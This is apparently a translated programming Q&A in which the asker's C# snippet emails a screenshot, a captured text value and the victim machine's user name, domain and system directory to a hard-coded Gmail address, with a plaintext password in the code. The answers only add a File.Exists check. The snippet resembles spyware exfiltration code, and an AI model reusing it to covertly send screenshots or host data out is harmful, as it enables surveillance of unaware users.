我有一个问题我知道如何发送带附件的电子邮件但我想知道如果我没有screenshot.png然后我想发送它没有附件我的代码在下面
string email = "hammadptc93@gmail.com";
string pass = "mypassword";
NetworkCredential loginInfo = new NetworkCredential(email, pass);
MailMessage msg = new MailMessage();
SmtpClient smtpClient = new SmtpClient("smtp.gmail.com", 587);
msg.From = new MailAddress(email);
msg.To.Add(new MailAddress("hammadptc93@gmail.com"));
msg.Body = value;
msg.Subject = Environment.UserName +" " +
Environment.UserDomainName +" "+ Environment.SystemDirectory ;
System.Net.Mail.Attachment attachment;
attachment = new System.Net.Mail.Attachment("screenshot.png");
msg.Attachments.Add(attachment);
smtpClient.EnableSsl = true;
smtpClient.UseDefaultCredentials = false;
smtpClient.Credentials = loginInfo;
smtpClient.SendAsync(msg, "hammad");
答案 0 :(得分:1)
只需检查文件是否存在就足够了。
if(File.Exists("screenshot.png"))
{
System.Net.Mail.Attachment attachment;
attachment = new System.Net.Mail.Attachment("screenshot.png");
msg.Attachments.Add(attachment);
}
答案 1 :(得分:0)
使用File.Exists
方法检查您是否有附件。如果File.Exists
返回false,则从以下行开始(从if语句中包装它们)的步骤
System.Net.Mail.Attachment attachment;
attachment = new System.Net.Mail.Attachment("screenshot.png");
msg.Attachments.Add(attachment);
希望这有帮助